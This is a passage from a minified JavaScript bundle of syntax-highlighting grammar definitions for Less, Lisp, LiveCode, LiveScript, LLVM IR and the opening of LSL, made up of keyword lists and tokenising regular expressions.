"],xO8=["after","backdrop","before","cue","cue-region","first-letter","first-line","grammar-error","marker","part","placeholder","selection","slotted","spelling-error"],EVq=["align-content","align-items","align-self","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","auto","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","clip-path","color","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","cursor","direction","display","empty-cells","filter","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","font","font-display","font-family","font-feature-settings","font-kerning","font-language-override","font-size","font-size-adjust","font-smoothing","font-stretch","font-style","font-variant","font-variant-ligatures","font-variation-settings","font-weight","height","hyphens","icon","image-orientation","image-rendering","image-resolution","ime-mode","inherit","initial","justify-content","left","letter-spacing","line-height","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marks","mask","max-height","max-width","min-height","min-width","nav-down","nav-index","nav-left","nav-right","nav-up","none","normal","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page-break-after","page-break-before","page-break-inside","perspective","perspective-origin","pointer-events","position","quotes","resize","right","src","tab-size","table-layout","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-style","text-indent","text-overflow","text-rendering","text-shadow","text-transform","text-underline-position","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","white-space","widows","width","word-break","word-spacing","word-wrap","z-index"].reverse(),kVq=bO8.concat(xO8);function CVq(A){let K=NVq(A),q=kVq,Y="and or not only",z="[\\w-]+",w="([\\w-]+|@\\{[\\w-]+\\})",H=[],J=[],O=function(f){return{className:"string",begin:"~?"+f+".*?"+f}},X=function(f,N,T){return{className:f,begin:N,relevance:T}},$={$pattern:/[a-z-]+/,keyword:"and or not only",attribute:vVq.join(" ")},_={begin:"\\(",end:"\\)",contains:J,keywords:$,relevance:0};J.push(A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,O("'"),O('"'),A.CSS_NUMBER_MODE,{begin:"(url|data-uri)\\(",starts:{className:"string",end:"[\\)\\n]",excludeEnd:!0}},K.HEXCOLOR,_,X("variable","@@?[\\w-]+",10),X("variable","@\\{[\\w-]+\\}"),X("built_in","~?`[^`]*?`"),{className:"attribute",begin:"[\\w-]+\\s*:",end:":",returnBegin:!0,excludeEnd:!0},K.IMPORTANT);let G=J.concat({begin:/\{/,end:/\}/,contains:H}),Z={beginKeywords:"when",endsWithParent:!0,contains:[{beginKeywords:"and not"}].concat(J)},W={begin:w+"\\s*:",returnBegin:!0,end:/[;}]/,relevance:0,contains:[{begin:/-(webkit|moz|ms|o)-/},{className:"attribute",begin:"\\b("+EVq.join("|")+")\\b",end:/(?=:)/,starts:{endsWithParent:!0,illegal:"[<=$]",relevance:0,contains:J}}]},D={className:"keyword",begin:"@(import|media|charset|font-face|(-[a-z]+-)?keyframes|supports|document|namespace|page|viewport|host)\\b",starts:{end:"[;{}]",keywords:$,returnEnd:!0,contains:J,relevance:0}},j={className:"variable",variants:[{begin:"@[\\w-]+\\s*:",relevance:15},{begin:"@[\\w-]+"}],starts:{end:"[;}]",returnEnd:!0,contains:G}},M={variants:[{begin:"[\\.#:&\\[>]",end:"[;{}]"},{begin:w,end:/\{/}],returnBegin:!0,returnEnd:!0,illegal:`[<='$"]`,relevance:0,contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,Z,X("keyword","all\\b"),X("variable","@\\{[\\w-]+\\}"),{begin:"\\b("+TVq.join("|")+")\\b",className:"selector-tag"},X("selector-tag",w+"%?",0),X("selector-id","#"+w),X("selector-class","\\."+w,0),X("selector-tag","&",0),K.ATTRIBUTE_SELECTOR_MODE,{className:"selector-pseudo",begin:":("+bO8.join("|")+")"},{className:"selector-pseudo",begin:"::("+xO8.join("|")+")"},{begin:"\\(",end:"\\)",contains:G},{begin:"!important"}]},P={begin:`[\\w-]+:(:)?(${q.join("|")})`,returnBegin:!0,contains:[M]};return H.push(A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,D,j,P,W,M),{name:"Less",case_insensitive:!0,illegal:`[=>'/<($"]`,contains:H}}uO8.exports=CVq});var gO8=v((yCz,mO8)=>{function LVq(A){var K="[a-zA-Z_\\-+\\*\\/<=>&#][a-zA-Z0-9_\\-+*\\/<=>&#!]*",q="\\|[^]*?\\|",Y="(-|\\+)?\\d+(\\.\\d+|\\/\\d+)?((d|e|f|l|s|D|E|F|L|S)(\\+|-)?\\d+)?",z={className:"literal",begin:"\\b(t{1}|nil)\\b"},w={className:"number",variants:[{begin:Y,relevance:0},{begin:"#(b|B)[0-1]+(/[0-1]+)?"},{begin:"#(o|O)[0-7]+(/[0-7]+)?"},{begin:"#(x|X)[0-9a-fA-F]+(/[0-9a-fA-F]+)?"},{begin:"#(c|C)\\("+Y+" +"+Y,end:"\\)"}]},H=A.inherit(A.QUOTE_STRING_MODE,{illegal:null}),J=A.COMMENT(";","$",{relevance:0}),O={begin:"\\*",end:"\\*"},X={className:"symbol",begin:"[:&]"+K},$={begin:K,relevance:0},_={begin:q},G={begin:"\\(",end:"\\)",contains:["self",z,H,w,$]},Z={contains:[w,H,O,X,G,$],variants:[{begin:"['`]\\(",end:"\\)"},{begin:"\\(quote ",end:"\\)",keywords:{name:"quote"}},{begin:"'"+q}]},W={variants:[{begin:"'"+K},{begin:"#'"+K+"(::"+K+")*"}]},D={begin:"\\(\\s*",end:"\\)"},j={endsWithParent:!0,relevance:0};return D.contains=[{className:"name",variants:[{begin:K,relevance:0},{begin:q}]},j],j.contains=[Z,W,D,z,w,H,J,O,X,_,$],{name:"Lisp",illegal:/\S/,contains:[w,A.SHEBANG(),z,H,J,Z,W,D,$]}}mO8.exports=LVq});var QO8=v((ICz,FO8)=>{function RVq(A){let K={className:"variable",variants:[{begin:"\\b([gtps][A-Z]{1}[a-zA-Z0-9]*)(\\[.+\\])?(?:\\s*?)"},{begin:"\\$_[A-Z]+"}],relevance:0},q=[A.C_BLOCK_COMMENT_MODE,A.HASH_COMMENT_MODE,A.COMMENT("--","$"),A.COMMENT("[^:]//","$")],Y=A.inherit(A.TITLE_MODE,{variants:[{begin:"\\b_*rig[A-Z][A-Za-z0-9_\\-]*"},{begin:"\\b_[a-z0-9\\-]+"}]}),z=A.inherit(A.TITLE_MODE,{begin:"\\b([A-Za-z0-9_\\-]+)\\b"});return{name:"LiveCode",case_insensitive:!1,keywords:{keyword:"$_COOKIE $_FILES $_GET $_GET_BINARY $_GET_RAW $_POST $_POST_BINARY $_POST_RAW $_SESSION $_SERVER codepoint codepoints segment segments codeunit codeunits sentence sentences trueWord trueWords paragraph after byte bytes english the until http forever descending using line real8 with seventh for stdout finally element word words fourth before black ninth sixth characters chars stderr uInt1 uInt1s uInt2 uInt2s stdin string lines relative rel any fifth items from middle mid at else of catch then third it file milliseconds seconds second secs sec int1 int1s int4 int4s internet int2 int2s normal text item last long detailed effective uInt4 uInt4s repeat end repeat URL in try into switch to words https token binfile each tenth as ticks tick system real4 by dateItems without char character ascending eighth whole dateTime numeric short first ftp integer abbreviated abbr abbrev private case while if div mod wrap and or bitAnd bitNot bitOr bitXor among not in a an within contains ends with begins the keys of keys",literal:"SIX TEN FORMFEED NINE ZERO NONE SPACE FOUR FALSE COLON CRLF PI COMMA ENDOFFILE EOF EIGHT FIVE QUOTE EMPTY ONE TRUE RETURN CR LINEFEED RIGHT BACKSLASH NULL SEVEN TAB THREE TWO six ten formfeed nine zero none space four false colon crlf pi comma endoffile eof eight five quote empty one true return cr linefeed right backslash null seven tab three two RIVERSION RISTATE FILE_READ_MODE FILE_WRITE_MODE FILE_WRITE_MODE DIR_WRITE_MODE FILE_READ_UMASK FILE_WRITE_UMASK DIR_READ_UMASK DIR_WRITE_UMASK",built_in:"put abs acos aliasReference annuity arrayDecode arrayEncode asin atan atan2 average avg avgDev base64Decode base64Encode baseConvert binaryDecode binaryEncode byteOffset byteToNum cachedURL cachedURLs charToNum cipherNames codepointOffset codepointProperty codepointToNum codeunitOffset commandNames compound compress constantNames cos date dateFormat decompress difference directories diskSpace DNSServers exp exp1 exp2 exp10 extents files flushEvents folders format functionNames geometricMean global globals hasMemory harmonicMean hostAddress hostAddressToName hostName hostNameToAddress isNumber ISOToMac itemOffset keys len length libURLErrorData libUrlFormData libURLftpCommand libURLLastHTTPHeaders libURLLastRHHeaders libUrlMultipartFormAddPart libUrlMultipartFormData libURLVersion lineOffset ln ln1 localNames log log2 log10 longFilePath lower macToISO matchChunk matchText matrixMultiply max md5Digest median merge messageAuthenticationCode messageDigest millisec millisecs millisecond milliseconds min monthNames nativeCharToNum normalizeText num number numToByte numToChar numToCodepoint numToNativeChar offset open openfiles openProcesses openProcessIDs openSockets paragraphOffset paramCount param params peerAddress pendingMessages platform popStdDev populationStandardDeviation populationVariance popVariance processID random randomBytes replaceText result revCreateXMLTree revCreateXMLTreeFromFile revCurrentRecord revCurrentRecordIsFirst revCurrentRecordIsLast revDatabaseColumnCount revDatabaseColumnIsNull revDatabaseColumnLengths revDatabaseColumnNames revDatabaseColumnNamed revDatabaseColumnNumbered revDatabaseColumnTypes revDatabaseConnectResult revDatabaseCursors revDatabaseID revDatabaseTableNames revDatabaseType revDataFromQuery revdb_closeCursor revdb_columnbynumber revdb_columncount revdb_columnisnull revdb_columnlengths revdb_columnnames revdb_columntypes revdb_commit revdb_connect revdb_connections revdb_connectionerr revdb_currentrecord revdb_cursorconnection revdb_cursorerr revdb_cursors revdb_dbtype revdb_disconnect revdb_execute revdb_iseof revdb_isbof revdb_movefirst revdb_movelast revdb_movenext revdb_moveprev revdb_query revdb_querylist revdb_recordcount revdb_rollback revdb_tablenames revGetDatabaseDriverPath revNumberOfRecords revOpenDatabase revOpenDatabases revQueryDatabase revQueryDatabaseBlob revQueryResult revQueryIsAtStart revQueryIsAtEnd revUnixFromMacPath revXMLAttribute revXMLAttributes revXMLAttributeValues revXMLChildContents revXMLChildNames revXMLCreateTreeFromFileWithNamespaces revXMLCreateTreeWithNamespaces revXMLDataFromXPathQuery revXMLEvaluateXPath revXMLFirstChild revXMLMatchingNode revXMLNextSibling revXMLNodeContents revXMLNumberOfChildren revXMLParent revXMLPreviousSibling revXMLRootNode revXMLRPC_CreateRequest revXMLRPC_Documents revXMLRPC_Error revXMLRPC_GetHost revXMLRPC_GetMethod revXMLRPC_GetParam revXMLText revXMLRPC_Execute revXMLRPC_GetParamCount revXMLRPC_GetParamNode revXMLRPC_GetParamType revXMLRPC_GetPath revXMLRPC_GetPort revXMLRPC_GetProtocol revXMLRPC_GetRequest revXMLRPC_GetResponse revXMLRPC_GetSocket revXMLTree revXMLTrees revXMLValidateDTD revZipDescribeItem revZipEnumerateItems revZipOpenArchives round sampVariance sec secs seconds sentenceOffset sha1Digest shell shortFilePath sin specialFolderPath sqrt standardDeviation statRound stdDev sum sysError systemVersion tan tempName textDecode textEncode tick ticks time to tokenOffset toLower toUpper transpose truewordOffset trunc uniDecode uniEncode upper URLDecode URLEncode URLStatus uuid value variableNames variance version waitDepth weekdayNames wordOffset xsltApplyStylesheet xsltApplyStylesheetFromFile xsltLoadStylesheet xsltLoadStylesheetFromFile add breakpoint cancel clear local variable file word line folder directory URL close socket process combine constant convert create new alias folder directory decrypt delete variable word line folder directory URL dispatch divide do encrypt filter get include intersect kill libURLDownloadToFile libURLFollowHttpRedirects libURLftpUpload libURLftpUploadFile libURLresetAll libUrlSetAuthCallback libURLSetDriver libURLSetCustomHTTPHeaders libUrlSetExpect100 libURLSetFTPListCommand libURLSetFTPMode libURLSetFTPStopTime libURLSetStatusCallback load extension loadedExtensions multiply socket prepare process post seek rel relative read from process rename replace require resetAll resolve revAddXMLNode revAppendXML revCloseCursor revCloseDatabase revCommitDatabase revCopyFile revCopyFolder revCopyXMLNode revDeleteFolder revDeleteXMLNode revDeleteAllXMLTrees revDeleteXMLTree revExecuteSQL revGoURL revInsertXMLNode revMoveFolder revMoveToFirstRecord revMoveToLastRecord revMoveToNextRecord revMoveToPreviousRecord revMoveToRecord revMoveXMLNode revPutIntoXMLNode revRollBackDatabase revSetDatabaseDriverPath revSetXMLAttribute revXMLRPC_AddParam revXMLRPC_DeleteAllDocuments revXMLAddDTD revXMLRPC_Free revXMLRPC_FreeAll revXMLRPC_DeleteDocument revXMLRPC_DeleteParam revXMLRPC_SetHost revXMLRPC_SetMethod revXMLRPC_SetPort revXMLRPC_SetProtocol revXMLRPC_SetSocket revZipAddItemWithData revZipAddItemWithFile revZipAddUncompressedItemWithData revZipAddUncompressedItemWithFile revZipCancel revZipCloseArchive revZipDeleteItem revZipExtractItemToFile revZipExtractItemToVariable revZipSetProgressCallback revZipRenameItem revZipReplaceItemWithData revZipReplaceItemWithFile revZipOpenArchive send set sort split start stop subtract symmetric union unload vectorDotProduct wait write"},contains:[K,{className:"keyword",begin:"\\bend\\sif\\b"},{className:"function",beginKeywords:"function",end:"$",contains:[K,z,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.BINARY_NUMBER_MODE,A.C_NUMBER_MODE,Y]},{className:"function",begin:"\\bend\\s+",end:"$",keywords:"end",contains:[z,Y],relevance:0},{beginKeywords:"command on",end:"$",contains:[K,z,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.BINARY_NUMBER_MODE,A.C_NUMBER_MODE,Y]},{className:"meta",variants:[{begin:"<\\?(rev|lc|livecode)",relevance:10},{begin:"<\\?"},{begin:"\\?>"}]},A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.BINARY_NUMBER_MODE,A.C_NUMBER_MODE,Y].concat(q),illegal:";$|^\\[|^=|&|\\{"}}FO8.exports=RVq});var pO8=v((SCz,UO8)=>{var yVq=["as","in","of","if","for","while","finally","var","new","function","do","return","void","else","break","catch","instanceof","with","throw","case","default","try","switch","continue","typeof","delete","let","yield","const","class","debugger","async","await","static","import","from","export","extends"],IVq=["true","false","null","undefined","NaN","Infinity"],SVq=["Intl","DataView","Number","Math","Date","String","RegExp","Object","Function","Boolean","Error","Symbol","Set","Map","WeakSet","WeakMap","Proxy","Reflect","JSON","Promise","Float64Array","Int16Array","Int32Array","Int8Array","Uint16Array","Uint32Array","Float32Array","Array","Uint8Array","Uint8ClampedArray","ArrayBuffer","BigInt64Array","BigUint64Array","BigInt"],hVq=["EvalError","InternalError","RangeError","ReferenceError","SyntaxError","TypeError","URIError"],bVq=["setInterval","setTimeout","clearInterval","clearTimeout","require","exports","eval","isFinite","isNaN","parseFloat","parseInt","decodeURI","decodeURIComponent","encodeURI","encodeURIComponent","escape","unescape"],xVq=["arguments","this","super","console","window","document","localStorage","module","global"],uVq=[].concat(bVq,xVq,SVq,hVq);function BVq(A){let K=["npm","print"],q=["yes","no","on","off","it","that","void"],Y=["then","unless","until","loop","of","by","when","and","or","is","isnt","not","it","that","otherwise","from","to","til","fallthrough","case","enum","native","list","map","__hasProp","__extends","__slice","__bind","__indexOf"],z={keyword:yVq.concat(Y),literal:IVq.concat(q),built_in:uVq.concat(K)},w="[A-Za-z$_](?:-[0-9A-Za-z$_]|[0-9A-Za-z$_])*",H=A.inherit(A.TITLE_MODE,{begin:"[A-Za-z$_](?:-[0-9A-Za-z$_]|[0-9A-Za-z$_])*"}),J={className:"subst",begin:/#\{/,end:/\}/,keywords:z},O={className:"subst",begin:/#[A-Za-z$_]/,end:/(?:-[0-9A-Za-z$_]|[0-9A-Za-z$_])*/,keywords:z},X=[A.BINARY_NUMBER_MODE,{className:"number",begin:"(\\b0[xX][a-fA-F0-9_]+)|(\\b\\d(\\d|_\\d)*(\\.(\\d(\\d|_\\d)*)?)?(_*[eE]([-+]\\d(_\\d|\\d)*)?)?[_a-z]*)",relevance:0,starts:{end:"(\\s*/)?",relevance:0}},{className:"string",variants:[{begin:/'''/,end:/'''/,contains:[A.BACKSLASH_ESCAPE]},{begin:/'/,end:/'/,contains:[A.BACKSLASH_ESCAPE]},{begin:/"""/,end:/"""/,contains:[A.BACKSLASH_ESCAPE,J,O]},{begin:/"/,end:/"/,contains:[A.BACKSLASH_ESCAPE,J,O]},{begin:/\\/,end:/(\s|$)/,excludeEnd:!0}]},{className:"regexp",variants:[{begin:"//",end:"//[gim]*",contains:[J,A.HASH_COMMENT_MODE]},{begin:/\/(?![ *])(\\.|[^\\\n])*?\/[gim]*(?=\W)/}]},{begin:"@[A-Za-z$_](?:-[0-9A-Za-z$_]|[0-9A-Za-z$_])*"},{begin:"``",end:"``",excludeBegin:!0,excludeEnd:!0,subLanguage:"javascript"}];J.contains=X;let $={className:"params",begin:"\\(",returnBegin:!0,contains:[{begin:/\(/,end:/\)/,keywords:z,contains:["self"].concat(X)}]},_={begin:"(#=>|=>|\\|>>|-?->|!->)"};return{name:"LiveScript",aliases:["ls"],keywords:z,illegal:/\/\*/,contains:X.concat([A.COMMENT("\\/\\*","\\*\\/"),A.HASH_COMMENT_MODE,_,{className:"function",contains:[H,$],returnBegin:!0,variants:[{begin:"([A-Za-z$_](?:-[0-9A-Za-z$_]|[0-9A-Za-z$_])*\\s*(?:=|:=)\\s*)?(\\(.*\\)\\s*)?\\B->\\*?",end:"->\\*?"},{begin:"([A-Za-z$_](?:-[0-9A-Za-z$_]|[0-9A-Za-z$_])*\\s*(?:=|:=)\\s*)?!?(\\(.*\\)\\s*)?\\B[-~]{1,2}>\\*?",end:"[-~]{1,2}>\\*?"},{begin:"([A-Za-z$_](?:-[0-9A-Za-z$_]|[0-9A-Za-z$_])*\\s*(?:=|:=)\\s*)?(\\(.*\\)\\s*)?\\B!?[-~]{1,2}>\\*?",end:"!?[-~]{1,2}>\\*?"}]},{className:"class",beginKeywords:"class",end:"$",illegal:/[:="\[\]]/,contains:[{beginKeywords:"extends",endsWithParent:!0,illegal:/[:="\[\]]/,contains:[H]},H]},{begin:"[A-Za-z$_](?:-[0-9A-Za-z$_]|[0-9A-Za-z$_])*:",end:":",returnBegin:!0,returnEnd:!0,relevance:0}])}}UO8.exports=BVq});var cO8=v((hCz,dO8)=>{function mVq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function TaA(...A){return A.map((q)=>mVq(q)).join("")}function gVq(A){let K=/([-a-zA-Z$._][\w$.-]*)/,q={className:"type",begin:/\bi\d+(?=\s|\b)/},Y={className:"operator",relevance:0,begin:/=/},z={className:"punctuation",relevance:0,begin:/,/},w={className:"number",variants:[{begin:/0[xX][a-fA-F0-9]+/},{begin:/-?\d+(?:[.]\d+)?(?:[eE][-+]?\d+(?:[.]\d+)?)?/}],relevance:0},H={className:"symbol",variants:[{begin:/^\s*[a-z]+:/}],relevance:0},J={className:"variable",variants:[{begin:TaA(/%/,K)},{begin:/%\d+/},{begin:/#\d+/}]},O={className:"title",variants:[{begin:TaA(/@/,K)},{begin:/@\d+/},{begin:TaA(/!/,K)},{begin:TaA(/!\d+/,K)},{begin:/!\d+/}]};return{name:"LLVM IR",keywords:"begin end true false declare define global constant private linker_private internal available_externally linkonce linkonce_odr weak weak_odr appending dllimport dllexport common default hidden protected extern_weak external thread_local zeroinitializer undef null to tail target triple datalayout volatile nuw nsw nnan ninf nsz arcp fast exact inbounds align addrspace section alias module asm sideeffect gc dbg linker_private_weak attributes blockaddress initialexec localdynamic localexec prefix unnamed_addr ccc fastcc coldcc x86_stdcallcc x86_fastcallcc arm_apcscc arm_aapcscc arm_aapcs_vfpcc ptx_device ptx_kernel intel_ocl_bicc msp430_intrcc spir_func spir_kernel x86_64_sysvcc x86_64_win64cc x86_thiscallcc cc c signext zeroext inreg sret nounwind noreturn noalias nocapture byval nest readnone readonly inlinehint noinline alwaysinline optsize ssp sspreq noredzone noimplicitfloat naked builtin cold nobuiltin noduplicate nonlazybind optnone returns_twice sanitize_address sanitize_memory sanitize_thread sspstrong uwtable returned type opaque eq ne slt sgt sle sge ult ugt ule uge oeq one olt ogt ole oge ord uno ueq une x acq_rel acquire alignstack atomic catch cleanup filter inteldialect max min monotonic nand personality release seq_cst singlethread umax umin unordered xchg add fadd sub fsub mul fmul udiv sdiv fdiv urem srem frem shl lshr ashr and or xor icmp fcmp phi call trunc zext sext fptrunc fpext uitofp sitofp fptoui fptosi inttoptr ptrtoint bitcast addrspacecast select va_arg ret br switch invoke unwind unreachable indirectbr landingpad resume malloc alloca free load store getelementptr extractelement insertelement shufflevector getresult extractvalue insertvalue atomicrmw cmpxchg fence argmemonly double",contains:[q,A.COMMENT(/;\s*$/,null,{relevance:0}),A.COMMENT(/;/,/$/),A.QUOTE_STRING_MODE,{className:"string",variants:[{begin:/"/,end:/[^\\]"/}]},O,z,Y,J,H,w]}}dO8.exports=gVq});var iO8=v((bCz,lO8)=>{function FVq(A){var K={className:"subst",begin:/\\[tn"\\]/},q={className:"string",begin:'"',end:'"',contains:[K]},Y={className:"number",relevance:0,begin:A.C_NUMBER_RE},z={className:"literal",variants:[{begin:"\\b(PI|TWO_PI|PI_BY_TWO|DEG_TO_RAD|RAD_TO_DEG|SQRT2)\\b"},{begin:"\\b(XP_ERROR_(EXPERIENCES_DISABLED|EXPERIENCE_(DISABLED|SUSPENDED)|INVALID_(EXPERIENCE|PARAMETERS)|KEY_NOT_FOUND|MATURITY_EXCEEDED|NONE|NOT_(FOUND|PERMITTED(_LAND)?)|NO_EXPERIENCE|QUOTA_EXCEEDED|RETRY_UPDATE|STORAGE_EXCEPTION|STORE_DISABLED|THROTTLED|UNKNOWN_ERROR)|JSON_APPEND|STATUS_(PHYSICS|ROTATE_[XYZ]|PHANTOM|SANDBOX|BLOCK_GRAB(_OBJECT)?|(DIE|RETURN)_AT_EDGE|CAST_SHADOWS|OK|MALFORMED_PARAMS|TYPE_MISMATCH|BOUNDS_ERROR|NOT_(FOUND|SUPPORTED)|INTERNAL_ERROR|WHITELIST_FAILED)|AGENT(_(BY_(LEGACY_|USER)NAME|FLYING|ATTACHMENTS|SCRIPTED|MOUSELOOK|SITTING|ON_OBJECT|AWAY|WALKING|IN_AIR|TYPING|CROUCHING|BUSY|ALWAYS_RUN|AUTOPILOT|LIST_(PARCEL(_OWNER)?|REGION)))?|CAMERA_(PITCH|DISTANCE|BEHINDNESS_(ANGLE|LAG)|(FOCUS|POSITION)(_(THRESHOLD|LOCKED|LAG))?|FOCUS_OFFSET|ACTIVE)|ANIM_ON|LOOP|REVERSE|PING_PONG|SMOOTH|ROTATE|SCALE|ALL_SIDES|LINK_(ROOT|SET|ALL_(OTHERS|CHILDREN)|THIS)|ACTIVE|PASS(IVE|_(ALWAYS|IF_NOT_HANDLED|NEVER))|SCRIPTED|CONTROL_(FWD|BACK|(ROT_)?(LEFT|RIGHT)|UP|DOWN|(ML_)?LBUTTON)|PERMISSION_(RETURN_OBJECTS|DEBIT|OVERRIDE_ANIMATIONS|SILENT_ESTATE_MANAGEMENT|TAKE_CONTROLS|TRIGGER_ANIMATION|ATTACH|CHANGE_LINKS|(CONTROL|TRACK)_CAMERA|TELEPORT)|INVENTORY_(TEXTURE|SOUND|OBJECT|SCRIPT|LANDMARK|CLOTHING|NOTECARD|BODYPART|ANIMATION|GESTURE|ALL|NONE)|CHANGED_(INVENTORY|COLOR|SHAPE|SCALE|TEXTURE|LINK|ALLOWED_DROP|OWNER|REGION(_START)?|TELEPORT|MEDIA)|OBJECT_(CLICK_ACTION|HOVER_HEIGHT|LAST_OWNER_ID|(PHYSICS|SERVER|STREAMING)_COST|UNKNOWN_DETAIL|CHARACTER_TIME|PHANTOM|PHYSICS|TEMP_(ATTACHED|ON_REZ)|NAME|DESC|POS|PRIM_(COUNT|EQUIVALENCE)|RETURN_(PARCEL(_OWNER)?|REGION)|REZZER_KEY|ROO?T|VELOCITY|OMEGA|OWNER|GROUP(_TAG)?|CREATOR|ATTACHED_(POINT|SLOTS_AVAILABLE)|RENDER_WEIGHT|(BODY_SHAPE|PATHFINDING)_TYPE|(RUNNING|TOTAL)_SCRIPT_COUNT|TOTAL_INVENTORY_COUNT|SCRIPT_(MEMORY|TIME))|TYPE_(INTEGER|FLOAT|STRING|KEY|VECTOR|ROTATION|INVALID)|(DEBUG|PUBLIC)_CHANNEL|ATTACH_(AVATAR_CENTER|CHEST|HEAD|BACK|PELVIS|MOUTH|CHIN|NECK|NOSE|BELLY|[LR](SHOULDER|HAND|FOOT|EAR|EYE|[UL](ARM|LEG)|HIP)|(LEFT|RIGHT)_PEC|HUD_(CENTER_[12]|TOP_(RIGHT|CENTER|LEFT)|BOTTOM(_(RIGHT|LEFT))?)|[LR]HAND_RING1|TAIL_(BASE|TIP)|[LR]WING|FACE_(JAW|[LR]EAR|[LR]EYE|TOUNGE)|GROIN|HIND_[LR]FOOT)|LAND_(LEVEL|RAISE|LOWER|SMOOTH|NOISE|REVERT)|DATA_(ONLINE|NAME|BORN|SIM_(POS|STATUS|RATING)|PAYINFO)|PAYMENT_INFO_(ON_FILE|USED)|REMOTE_DATA_(CHANNEL|REQUEST|REPLY)|PSYS_(PART_(BF_(ZERO|ONE(_MINUS_(DEST_COLOR|SOURCE_(ALPHA|COLOR)))?|DEST_COLOR|SOURCE_(ALPHA|COLOR))|BLEND_FUNC_(DEST|SOURCE)|FLAGS|(START|END)_(COLOR|ALPHA|SCALE|GLOW)|MAX_AGE|(RIBBON|WIND|INTERP_(COLOR|SCALE)|BOUNCE|FOLLOW_(SRC|VELOCITY)|TARGET_(POS|LINEAR)|EMISSIVE)_MASK)|SRC_(MAX_AGE|PATTERN|ANGLE_(BEGIN|END)|BURST_(RATE|PART_COUNT|RADIUS|SPEED_(MIN|MAX))|ACCEL|TEXTURE|TARGET_KEY|OMEGA|PATTERN_(DROP|EXPLODE|ANGLE(_CONE(_EMPTY)?)?)))|VEHICLE_(REFERENCE_FRAME|TYPE_(NONE|SLED|CAR|BOAT|AIRPLANE|BALLOON)|(LINEAR|ANGULAR)_(FRICTION_TIMESCALE|MOTOR_DIRECTION)|LINEAR_MOTOR_OFFSET|HOVER_(HEIGHT|EFFICIENCY|TIMESCALE)|BUOYANCY|(LINEAR|ANGULAR)_(DEFLECTION_(EFFICIENCY|TIMESCALE)|MOTOR_(DECAY_)?TIMESCALE)|VERTICAL_ATTRACTION_(EFFICIENCY|TIMESCALE)|BANKING_(EFFICIENCY|MIX|TIMESCALE)|FLAG_(NO_DEFLECTION_UP|LIMIT_(ROLL_ONLY|MOTOR_UP)|HOVER_((WATER|TERRAIN|UP)_ONLY|GLOBAL_HEIGHT)|MOUSELOOK_(STEER|BANK)|CAMERA_DECOUPLED))|PRIM_(ALLOW_UNSIT|ALPHA_MODE(_(BLEND|EMISSIVE|MASK|NONE))?|NORMAL|SPECULAR|TYPE(_(BOX|CYLINDER|PRISM|SPHERE|TORUS|TUBE|RING|SCULPT))?|HOLE_(DEFAULT|CIRCLE|SQUARE|TRIANGLE)|MATERIAL(_(STONE|METAL|GLASS|WOOD|FLESH|PLASTIC|RUBBER))?|SHINY_(NONE|LOW|MEDIUM|HIGH)|BUMP_(NONE|BRIGHT|DARK|WOOD|BARK|BRICKS|CHECKER|CONCRETE|TILE|STONE|DISKS|GRAVEL|BLOBS|SIDING|LARGETILE|STUCCO|SUCTION|WEAVE)|TEXGEN_(DEFAULT|PLANAR)|SCRIPTED_SIT_ONLY|SCULPT_(TYPE_(SPHERE|TORUS|PLANE|CYLINDER|MASK)|FLAG_(MIRROR|INVERT))|PHYSICS(_(SHAPE_(CONVEX|NONE|PRIM|TYPE)))?|(POS|ROT)_LOCAL|SLICE|TEXT|FLEXIBLE|POINT_LIGHT|TEMP_ON_REZ|PHANTOM|POSITION|SIT_TARGET|SIZE|ROTATION|TEXTURE|NAME|OMEGA|DESC|LINK_TARGET|COLOR|BUMP_SHINY|FULLBRIGHT|TEXGEN|GLOW|MEDIA_(ALT_IMAGE_ENABLE|CONTROLS|(CURRENT|HOME)_URL|AUTO_(LOOP|PLAY|SCALE|ZOOM)|FIRST_CLICK_INTERACT|(WIDTH|HEIGHT)_PIXELS|WHITELIST(_ENABLE)?|PERMS_(INTERACT|CONTROL)|PARAM_MAX|CONTROLS_(STANDARD|MINI)|PERM_(NONE|OWNER|GROUP|ANYONE)|MAX_(URL_LENGTH|WHITELIST_(SIZE|COUNT)|(WIDTH|HEIGHT)_PIXELS)))|MASK_(BASE|OWNER|GROUP|EVERYONE|NEXT)|PERM_(TRANSFER|MODIFY|COPY|MOVE|ALL)|PARCEL_(MEDIA_COMMAND_(STOP|PAUSE|PLAY|LOOP|TEXTURE|URL|TIME|AGENT|UNLOAD|AUTO_ALIGN|TYPE|SIZE|DESC|LOOP_SET)|FLAG_(ALLOW_(FLY|(GROUP_)?SCRIPTS|LANDMARK|TERRAFORM|DAMAGE|CREATE_(GROUP_)?OBJECTS)|USE_(ACCESS_(GROUP|LIST)|BAN_LIST|LAND_PASS_LIST)|LOCAL_SOUND_ONLY|RESTRICT_PUSHOBJECT|ALLOW_(GROUP|ALL)_OBJECT_ENTRY)|COUNT_(TOTAL|OWNER|G